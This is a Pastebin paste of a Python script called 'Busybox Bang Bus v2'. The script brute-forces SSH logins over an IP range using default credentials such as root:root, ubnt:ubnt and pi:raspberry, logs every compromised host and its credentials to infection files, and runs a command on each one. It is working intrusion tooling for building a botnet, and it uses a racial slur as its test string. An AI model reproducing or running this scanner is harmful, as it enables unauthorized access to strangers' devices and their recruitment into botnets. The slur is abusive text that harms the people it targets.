Advertisement
Kurobeats

bbb.py

Oct 16th, 2018
164
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 3.62 KB | None | 0 0
  1. #!/usr/bin/env python
  2. """
  3.                         Busybox Bang Bus v2
  4.             LiGhT dA BoSs yA DiG! nO CoDe RiPPrInG PlZ
  5. XORA IS A SKID, PROXY IS A SKID, ZONE IS A SKID, YOU ARE ALL SKIDZ!
  6. """
  7.  
  8. import threading, paramiko, random, socket, time, os, sys
  9.  
  10. if not os.geteuid()==0:
  11.     sys.exit("\nGOTTA BE ROOT TO RIDE DA BANG BUS YA DIG\n")
  12.  
  13. os.system("clear")
  14. if len(sys.argv) < 3:
  15.     print "BuSyBoX BaNG BuS v2"
  16.     print "Usage: python "+sys.argv[0]+" [Start IP] [End IP] [0/1/2/perl/ubnt]"
  17.     sys.exit("Example: python "+sys.argv[0]+" 1.1.1.1 2.2.2.2 0\n")
  18.  
  19. sys.stdout.write("\x1b]2;BuSyBoX BaNG BuS\x07")
  20. os.system("clear")
  21. os.system("echo -e 'ulimit -s 999999; ulimit -n 999999; ulimit -u 999999\n' > ~/.bashrc")
  22. os.system("ulimit -s 999999; ulimit -n 999999; ulimit -u 999999")
  23. paramiko.util.log_to_file("/dev/null") #quiets paramiko output
  24. os.system("sysctl -w fs.file-max=999999 >/dev/null")
  25.  
  26. passwords = [ # argv 0
  27.     "ubnt:ubnt",
  28.     "root:root",
  29.     "root:admin",
  30.     "admin:admin",
  31.     "root:1234",
  32.     "admin:1234",
  33.     "guest:guest",
  34.     "user:user",
  35.     "test:test",
  36. ]
  37.  
  38. if sys.argv[3] == '1':
  39.     passwords = [ "root:root", "root:admin", "admin:admin", "ubnt:ubnt", "root:1234", "admin:1234", "guest:guest", "user:user", "test:test" ] #Slow but effective
  40. if sys.argv[3] == '2':
  41.     passwords = [ "root:root", "admin:admin", "ubnt:ubnt" ] #faster with decent execution
  42. if sys.argv[3] == 'perl':
  43.     passwords = [ "pi:raspberry", "vagrant:vagrant" ] #perl scanner
  44. if sys.argv[3] == 'ubnt':
  45.     passwords = [ "ubnt:ubnt" ] #only ubnt
  46.  
  47. raw_input("Press <ENTER> to Enter the Bang Bus")
  48. credit = '# DO NOT SHARE THIS FUCKING SHIT' #throwback lulz
  49. print "\033[0m" + credit + "\033[0m"
  50.  
  51. def ipRange(start_ip, end_ip):
  52.     start = list(map(int, start_ip.split(".")))
  53.     end = list(map(int, end_ip.split(".")))
  54.     temp = start
  55.     ip_range = []
  56.  
  57.     ip_range.append(start_ip)
  58.     while temp != end:
  59.         start[3] += 1
  60.         for i in (3, 2, 1):
  61.             if temp[i] == 256:
  62.                 temp[i] = 0
  63.                 temp[i-1] += 1
  64.         ip_range.append(".".join(map(str, temp)))    
  65.  
  66.     return ip_range
  67. class sshscanner(threading.Thread): # TAG: 1A
  68.     def __init__ (self, ip):
  69.         threading.Thread.__init__(self)
  70.         self.ip = str(ip)
  71.     global passwords
  72.     def run(self):
  73.         x = 1
  74.         while x != 0:
  75.             try:
  76.                 username='root'
  77.                 password="0"
  78.                 port = 22
  79.                 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  80.                 s.settimeout(3)
  81.                 s.connect((self.ip, port))
  82.                 s.close()
  83.                 ssh = paramiko.SSHClient()
  84.                 ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  85.                 dobreak=False
  86.                 for passwd in passwords:
  87.                     if ":n/a" in passwd:
  88.                         password=""
  89.                     else:
  90.                         password=passwd.split(":")[1]
  91.                     if "n/a:" in passwd:
  92.                         username=""
  93.                     else:
  94.                         username=passwd.split(":")[0]
  95.                     try:
  96.                         ssh.connect(self.ip, port = port, username=username, password=password, timeout=5)
  97.                         dobreak=True
  98.                         break
  99.                     except:
  100.                         pass
  101.                     if True == dobreak:
  102.                         break
  103.                 badserver=True
  104.                 stdin, stdout, stderr = ssh.exec_command("echo nigger")
  105.                 output = stdout.read()
  106.                 if "nigger" in output:
  107.                     badserver=False
  108.                 if badserver == False:
  109.                     os.system("echo -e " +self.ip+ " >> .infected.ips")
  110.                     os.system("echo -e " +username+ ":" +password+ ":" +self.ip+ " >> infection.log")
  111.                     print "\033[32mBuSyBoXiNG -> " +username+ ":" +password+ ":" +self.ip+ "\033[0m"
  112.                     ssh.exec_command("command here")
  113.                     time.sleep(3)
  114.                     ssh.close()
  115.                 if badserver == True:
  116.                     ssh.close()
  117.             except:
  118.                 pass
  119.             x = 0
  120. ip_range = ipRange("" +sys.argv[1], "" +sys.argv[2])
  121. for ip in ip_range:
  122.     try:               
  123.         t = sshscanner(ip)
  124.         t.start()
  125.     except:
  126.         pass # LiGhT yA DiG
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement